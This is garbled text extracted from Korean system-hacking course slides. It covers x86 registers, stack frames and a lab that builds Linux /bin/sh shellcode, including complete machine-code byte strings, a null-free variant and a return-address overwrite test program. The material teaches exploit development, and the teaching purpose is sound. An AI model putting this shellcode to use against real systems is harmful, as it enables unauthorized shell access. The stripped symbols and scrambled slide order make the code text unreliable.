cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 3: 80×86  시스템에 대한 이해

3108

[ 표 2-1] 인텔 CPU 모델별 관련 정보

80times86 시스템 CPU 와 레지스터

모델 8085 8086 8088 80286 80386 80486 펜티엄 펜티엄 - 프로

생산 시작 연도 1976 년 1978 년 1979 년 1982 년 1985 년 1989 년 1992 년 1995 년

클록 주파수(MHz)

3~8 5~8 5~8 6~16 16~33 25~50 60 66 150

트랜지스터 수 6500 29000 29000

130000

275000

12 백만

31 백만 55 백만

물리 메모리 64 K 1 M 1 M 16 M 4 G 4 G 4 G 64 G

내부 데이터 버스

8 16 16 16 32 32 32 32

외부 데이터 버스

8 16 8 16 32 32 64 64

주소 버스 16 20 20 24 32 32 32 36

데이터 크기 (비트 )

8 816 8 16 8 168 16

328 16

328 16

328 16 32

4108

80times86 시스템 CPU 의 구조

80times86 시스템 CPU 의 구조와 레지스터

5108

80times86 시스템 CPU 의 구조 연산장치

bull 연산 장치 (ALUArithmetic and Logic Unit) 는 CPU( 중앙 처리 장치 ) 의 핵심 부분 중

하나로 산술과 논리 연산을 수행하는 연산 회로 집합으로 구성

[ 표 2-2] 연산 장치의 구성 요소

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

가산기 (Adder) 덧셈 연산 수행

보수기 (Complementer)뺄셈 연산 수행 1 의 보수나 2 의 보수 방식 이용

시프터 (Shifter)비트를 오른쪽이나 왼쪽으로 이동하여 나눗셈과 곱셈 연산 수행

관련

레지

스터

누산기 (Accumulator) 연산의 중간 결과 저장

데이터 레지스터(Data Register)

연산에 사용할 데이터 저장

상태 레지스터 (Status Register)

연산 실행 결과로 나타나는 양수와 음수 자리올림 오버 플로우의 상태 기억

6108

80times86 시스템 CPU 의 구조 제어장치

bull 제어 장치 (Control Unit) 는 입력 출력 기억 연산 장치를 제어하고 감시 주기억

장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시

[ 표 2-3] 제어 장치의 구성 요소

레지스터bull 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

명령 해독기 (Instruction Decoder)명령 레지스터에 있는 명령을 해독하여 부호기로 전송

부호기 (Decoder)명령 해독기가 전송한 명령을 신호로 만들어 각 장치 전송

주소 해독기

(Address Decoder)

명령 레지스터에 있는 주소를 해독하여 메모리의 실제주소로 변환한 후 이를 데이터 레지스터에 저장

관련

레지

스터

프로그램 카운터 (Program Counter) 다음에 실행할 명령의 주소 저장

명령 (Instruction) 레지스터 현재 실행 중인 명령 저장

메모리 주소 (Memory Address) 레지스터 주기억 장치의 번지 저장

메모리 버퍼 (Memory Buffer) 레지스터 메모리 주소 레지스터에 저장된 주소의 실제 내용 저장

7108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

범용 레지스터 (General Register)

EAX 누산기 (Accmulator) 32주로 산술 연산에 사용 ( 함수의 결과 값 저장 )

EBX베이스 레지스터 (Base Register)

32특정 주소 저장 ( 주소 지정을 확대하기 위한 인덱스로 사용 )

ECX카운트 레지스터 (Count Register)

32반복적으로 실행되는 특정 명령에 사용( 루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억 )

EDX데이터 레지스터 (Data Register)

32 일반 자료 저장 ( 입출력 동작에 사용 )

세그먼트 레지스터 (Segment Register)

CS코드 세그먼트 레지스터 (Code Segment Register)

16실행될 기계 명령어가 저장된 메모리 주소

지정

DS데이터 세그먼트 레지스터 (Data Segment Register)

16프로그램에서 정의된 데이터 상수 작업 영역의 메모리 주소 지정

SS스택 세그먼트 레지스터 (Stack Segment Register)

16

프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine) 이 사용할 데이터와 주소 저장

ES FS GS

엑스트라 세그먼트 레지스터 (Extra Segment Register)

16문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108
